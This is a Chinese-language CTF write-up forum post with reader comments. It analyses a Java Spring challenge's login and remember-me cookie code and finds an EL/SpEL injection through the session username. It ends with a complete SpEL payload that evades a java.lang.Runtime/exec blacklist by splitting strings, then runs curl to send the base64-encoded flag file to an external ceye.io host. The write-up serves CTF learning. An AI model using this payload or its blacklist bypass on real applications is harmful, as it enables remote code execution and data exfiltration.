题目环境:放在下方附件
推荐使用idea+jdk1.8
导入下载的jar包
可以先运行一下看一下是什么样的环境
这边是个登录页面,既然有源码,那就不用黑盒测试了,直接看代码,在application.yml发现了一个黑名单,过滤了java.+lang Runtime exec(调用runtime类的exec方法可以执行系统命令),同时我们还找到了测试账号admin,admin
对于MVC框架,一般都习惯从controller层下手,点开这边的MainController,先从登录功能分析
@PostMapping({"/login"})
public String login(@RequestParam(value = "username",required = true) String username, @RequestParam(value = "password",required = true) String password, @RequestParam(value = "remember-me",required = false) String isRemember, HttpSession session, HttpServletResponse response) {
if (this.userConfig.getUsername().contentEquals(username) && this.userConfig.getPassword().contentEquals(password)) {
session.setAttribute("username", username);
if (isRemember != null && !isRemember.equals("")) {
Cookie c = new Cookie("remember-me", this.userConfig.encryptRememberMe());
c.setMaxAge(2592000);
response.addCookie(c);
}
return "redirect:/";
} else {
return "redirect:/login-error";
}
}
判断用户名密码,如果勾选了remberMe则浏览器存入加密后的cookie,转跳至hello.html,在hello.html发现了可能存在EL表达式注入,他会将session中的username字段内容取出在页面上显示,如果此处可控,则可以构造rce
由于登录的测试账号是固定的,admin,admin,所以无法直接利用这边的session.setAttribute
程序判断rememberMeValue存在后,直接对其进行解密,然后将其setAttribute
这样思路就很明确了,在cookie的remember-me构造rce,结合黑名单bypass
payload:#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","curl fg5hme.ceye.io/`cat flag_j4v4_chun|base64|tr '\n' '-'`"})}
打赏我,让我更有动力~
The attachment is hidden and you need to reply to the topic before it becomes visible.
© 2016 - 2024 掌控者 All Rights Reserved.
2054806610
发表于 2021-5-27
厉害
评论列表
加载数据中...
crt
发表于 2021-5-27
666
评论列表
加载数据中...
amwusrso
发表于 2021-5-28
666
评论列表
加载数据中...
goodplay
发表于 2021-5-31
666
评论列表
加载数据中...
15583373239
发表于 2021-6-4
666
评论列表
加载数据中...
yangroupaomo
发表于 2021-6-8
666
评论列表
加载数据中...
954915456
发表于 2021-6-15
6666
评论列表
加载数据中...
渗透小鬼才
发表于 2021-9-27
666
评论列表
加载数据中...
一方
发表于 2021-9-29
打卡
评论列表
加载数据中...
ababmab
发表于 2021-11-3
666
评论列表
加载数据中...
bluesky
发表于 2021-12-9
666
评论列表
加载数据中...
2263859677
发表于 2021-12-10
666
评论列表
加载数据中...
1129591494
发表于 2021-12-12
1
评论列表
加载数据中...
非晚
发表于 2021-12-31
666
评论列表
加载数据中...
1300169241
发表于 2022-2-18
66
评论列表
加载数据中...
hellen_2018
发表于 2022-4-18
6666,点赞
评论列表
加载数据中...
zhuzaiyu
发表于 2022-4-26
66
评论列表
加载数据中...
dsal15326770
发表于 2022-6-22
66
评论列表
加载数据中...
尉晨曦
发表于 2022-9-13
666
评论列表
加载数据中...
2301004944
发表于 2022-10-20
6
评论列表
加载数据中...